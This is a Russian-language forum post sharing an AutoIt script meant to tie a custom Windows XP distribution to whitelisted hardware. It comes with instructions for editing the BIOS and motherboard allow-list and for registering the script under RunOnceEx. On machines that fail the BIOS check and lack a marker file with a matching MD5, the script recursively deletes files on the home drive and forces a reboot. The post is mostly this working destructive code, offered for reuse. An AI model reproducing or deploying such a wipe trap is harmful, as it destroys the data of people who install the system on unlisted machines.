YNY ты же прикрасно знаеш что пасс запросто можно сбросит даже с финды не только пасс а вес быос
Oldster а каком серийнике идет речь?
я умею снять серийники от всех оборудивание но как шит в ОС что бы она работало только с этим железой незнаю
я нашел топик который идет реч
о зашите своего дистриба но не для защити уже установленой ОС
может быть его както подправит под себя ?! сам в скриптах ничего не понимаю
Добавлено: [more=Эту скрипт мне передал автор на мыло]
Скрипт:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
#NoTrayIcon
#include <MD5.au3>
;--------------------------------------------------------------------------------------------------------------------------------------
$sTAG = "Windows XP\725345543-500"
$sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2"
$sDRV = _DriveGetByTag($sTAG)
;--------------------------------------------------------------------------------------------------------------------------------------
Opt("ExpandEnvStrings", 1)
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4
Global $strPassword = "SET YOUR PASSWORD HERE"
Global $arrayAllowedHosts[14] = [ _
"20090116000000.000000+000ga-ma770-ds3", _
"20060222000000.000000+000virtual machine", _
"20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
"20020315000000.000000+000sis-645", _
"20010427000000.000000+0008363-686", _
"20060925000000.000000+000m2n-e", _
"20060918000000.000000+000m61pm-s2", _
"20080819000000.000000+000m3a78", _
"20080123000000.000000+000m52l-s3", _
"20080423000000.000000+000a8r-mvp", _
"20060407000000.000000+000a8n-e", _
"20010402000000.000000+000k7s5a", _
"20080111000000.000000+00030c0", _
"20051103000000.000000+000k8nf4g-sata2" ]
;--------------------------------------------------------------------------------------------------------------------------------------
; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
@WindowsDir, _
@SystemDir, _
@WindowsDir &"\Resources", _
@ProgramFilesDir, _
RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
$arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
$arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]
_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)
; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
$arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)
;--------------------------------------------------------------------------------------------------------------------------------------
If _PlatformArrayTest($arrayAllowedHosts) or _FileMD5Test($sDRV &"\"& $sTAG, $sMD5) Then
$iRes = RunWait("%SystemDrive%\PKUNZIP -e -d -s"& $strPassword &" %SystemDrive%\Protect.zip %SystemDrive%\", "%SystemDrive%\", @SW_HIDE)
Else
_DirRemoveAll(@HomeDrive, $arrExcl)
Shutdown(22)
EndIf
FileDelete("%SystemDrive%\Protect.zip")
FileDelete("%SystemDrive%\PKUNZIP.EXE")
FileDelete("%SystemDrive%\PROTECTT.CMD")
;--------------------------------------------------------------------------------------------------------------------------------------
; Поиск буквы диска по маркерному файлу
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DriveGetByTag($sTag, $sType = "ALL")
Local $sDrive = "", $aDrives = DriveGetDrive($sType)
For $i=1 To $aDrives[0]
If DriveStatus($aDrives[$i]) = "READY" Then
If FileExists($aDrives[$i] &"\"& $sTag) Then Return $aDrives[$i]
EndIf
Next
Return SetError(1,0,"")
EndFunc ; ==> _DriveGetByTag
;--------------------------------------------------------------------------------------------------------------------------------------
; Проверка MD5-хеша файла
;--------------------------------------------------------------------------------------------------------------------------------------
Func _FileMD5Test($sPath, $sMD5)
Local $MD5CTX, $Hash, $BufSize = 32768
Local $hFile = FileOpen($sPath, 16)
If $hFile = -1 Then Return SetError(1, 0, 0)
$MD5CTX = _MD5Init()
For $i=1 To Ceiling(FileGetSize($sPath) / $BufSize)
_MD5Input($MD5CTX, FileRead($hFile, $BufSize))
Next
$Hash = _MD5Result($MD5CTX)
ConsoleWrite($Hash &@CRLF)
FileClose($sPath)
Return $Hash=$sMD5
EndFunc ; ==> _FileMD5Test
;--------------------------------------------------------------------------------------------------------------------------------------
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
For $i=0 To UBound($arrayAllowedHosts)-1
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
If $arrayAllowedHosts[$i]=$strComputerHost Then Return True
Next
Next
Next
Return False
EndFunc
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DirRemoveAlt($sDIR)
Local $hSearch, $sFile, $sPath
$sDIR = StringRegExpReplace($sDIR, "\\+$", "")
If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
$hSearch = FileFindFirstFile($sDIR & "\*")
If $hSearch = -1 Then Return SetError(2, 0, False)
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then ExitLoop
$sPath = $sDIR & "\" & $sFile
If StringInStr(FileGetAttrib($sPath), "D") Then
DirRemove($sPath,1)
Else
FileSetAttrib($sPath, "-RSH")
FileDelete($sPath)
EndIf
WEnd
FileClose($hSearch)
Return SetError(0, 0, True)
EndFunc
;--------------------------------------------------------------------------------------------------------------------------------------
; Сохранение значений параметров ключа реестра в массив (рекурсивно)
;--------------------------------------------------------------------------------------------------------------------------------------
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
Local $var, $key
For $i=1 To 10000
$var = RegEnumVal($sKey, $i)
If @error Then ExitLoop
If $sValName=="" Or $sValName=$var Then
$aVals[0]+=1
ReDim $aVals[$aVals[0]+1]
$aVals[$aVals[0]]=RegRead($sKey, $var)
EndIf
Next
If $iRecv Then
For $j=1 To 10000
$key = RegEnumKey($sKey, $j)
If @error Then ExitLoop
_RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
Next
EndIf
EndFunc ; ==> _RegEnumValToArray
;--------------------------------------------------------------------------------------------------------------------------------------
; Удаление каталога с подкаталогами (рекурсивно)
;--------------------------------------------------------------------------------------------------------------------------------------
Func _DirRemoveAll($sDIR, ByRef $aExcl)
Local $hSearch, $sFile, $sPath, $iRet, $i
$sDIR = StringRegExpReplace($sDIR, "\\+$", "")
If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
$hSearch = FileFindFirstFile($sDIR & "\*")
If $hSearch = -1 Then Return SetError(2, 0, False)
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then ExitLoop
$sPath = $sDIR & "\" & $sFile
If StringInStr(FileGetAttrib($sPath), "D") Then
For $i=1 To $aExcl[0]
If $sPath=$aExcl[$i] Then ExitLoop
Next
ConsoleWrite($sPath &@CRLF)
If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
Else
FileSetAttrib($sPath, "-RSH")
FileDelete($sPath)
EndIf
WEnd
FileClose($hSearch)
Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll
;--------------------------------------------------------------------------------------------------------------------------------------
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Суть: Данный скрипт проверяет ID биос по массиву биосов записаных раннее в сам скрипт. Если ID биос совпадает с тем что есть в скрипте то скрипт просто завершает свою работу и все. Если не совпадает то происходит жесткое удаление файлов с диска С и перезагрузка. Данный скрипт необходимо кинуть в ветку HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx под первым ключом желательно. Как ты енто сделаешь решай сам, в учебнике в принципе все есть. Еще. Скрипт ищет файл на всех дисках, в том числе и флешках, определенный файл по названию и md5 сумме. Если находит то даже если ID биос не совпадает то установка продолжается. Сделал чтобы не мучаться если сам кому ставлю свою винду. Просто воткнул флешку в комп и винда встанет без проблем.
Подробности:
В скрипте:
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Global $arrayAllowedHosts[14] = [ _
"20090116000000.000000+000ga-ma770-ds3", _
"20060222000000.000000+000virtual machine", _
"20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
"20020315000000.000000+000sis-645", _
"20010427000000.000000+0008363-686", _
"20060925000000.000000+000m2n-e", _
"20060918000000.000000+000m61pm-s2", _
"20080819000000.000000+000m3a78", _
"20080123000000.000000+000m52l-s3", _
"20080423000000.000000+000a8r-mvp", _
"20060407000000.000000+000a8n-e", _
"20010402000000.000000+000k7s5a", _
"20080111000000.000000+00030c0", _
"20051103000000.000000+000k8nf4g-sata2" ]
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Массив ID биос. Ставиш свои и не забудь поменять количество (14)
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
$sTAG = "Windows XP\725345543-500" - путь и имя файла
$sMD5 = "0x853f3f8898a16c4a591ad290a5df5ea2" - md5 сумма файла
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
[/more]